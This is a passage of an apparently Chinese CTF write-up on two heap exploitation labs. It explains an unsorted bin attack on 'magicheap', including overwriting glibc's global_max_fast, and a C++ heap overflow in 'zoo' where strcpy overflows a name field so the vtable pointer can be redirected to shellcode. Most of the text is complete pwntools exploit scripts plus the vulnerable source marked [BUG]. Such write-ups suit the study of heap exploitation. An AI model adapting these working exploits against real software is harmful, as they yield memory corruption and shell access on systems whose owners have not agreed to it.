unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

所以当我们控制了victim的bk时,那个地址加16(fd)的位置就会被改写成unsorted bin的地址,但是unsorted bin的bk也会被破坏,下一次再到这里时就可能因为victim->bk->fd不可写而造成SIGSEGV。而且这个任意内存写并不能控制写入什么,需要仔细寻找写入的位置。

这个题应该说最难的地方就在这里,最后选择写入的地方是glibc中的global_max_fast全局变量,这个变量用于控制最大的Fast chunk的大小,将这里改写为unsorted bin的地址(一般来说是一个很大的正数),就能使之后的chunk都被当作fast chunk,即可进行Fast bin attack。

当然这题只是考察对unsorted bin attack的了解,没有后面那些步骤。

把0x7f****的值写到magic中,程序判断成功后会cat flag。

exp:

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from pwn import *
context.log_level = 'debug'
r = process('./magicheap')

magic = 0x6020c0

def create_heap(size,content):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)

def edit_heap(idx,size,content):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)

def del_heap(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))


create_heap(0x10,'1111')#0
create_heap(0x80,'2222')#1
create_heap(0x10,'3333')#2

del_heap(1)

pay = '1'*0x10 + p64(0) + p64(0x91) + p64(0) + p64(magic-0x10)
edit_heap(0,0x30,pay)

create_heap(0x80,"2222")
r.recvuntil(":")
r.sendline("4869")
r.recvuntil('Congrt !\n')
success(r.recvline())

lab15

c++的pwn,但还是简单的heap overflow,而且刻意的打开了execstack,就可以通过shellcode了。

overflow在这里,由strcpy造成。

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class Animal {
public :
Animal(){
memset(name,0,24);
weight = 0;
}
virtual void speak(){;}
virtual void info(){;}
protected :
char name[24];//[BUG]heap overflow
int weight;
};

class Dog : public Animal{
public :
Dog(string str,int w){
strcpy(name,str.c_str()); //[BUG]overflow
weight = w ;
}
virtual void speak(){
cout << "Wow ~ Wow ~ Wow ~" << endl ;
}
virtual void info(){
cout << "||" << endl ;
cout << "| Animal info |" << endl;
cout << "||" << endl;
cout << " Weight :" << this->weight << endl ;
cout << " Name : " << this->name << endl ;
cout << "||" << endl;
}
};

在animal中,有一个虚表指针,用过覆盖覆盖指针到shellcode来getshell。

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from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['terminator','-x','bash','-c']


cn = process('./zoo')

def ru(s):
return cn.recvuntil(s)
def sl(s):
return cn.sendline(s)

def add_dog(name,weight):
sl('1')

ru('Name : ')
sl(name)
ru('Weight : ')
sl(str(weight))

def remove(idx):
sl('5')

ru('index')
sl(str(idx))


nameofzoo=0x0000000000605420

ru('zoo')

sc = asm(shellcraft.linux.sh())
len_sc = len(sc)
sc += p64(nameofzoo)

sl(sc)

ru('choice')

add_dog('aaaa',0x1111)#0
add_dog('bbbb',0x2222)#1
remove(0)
add_dog('cccccccc'*9 + p64(nameofzoo+len_sc),0x3333)

sl('3')
sl('0')

#gdb.attach(cn)

cn.interactive()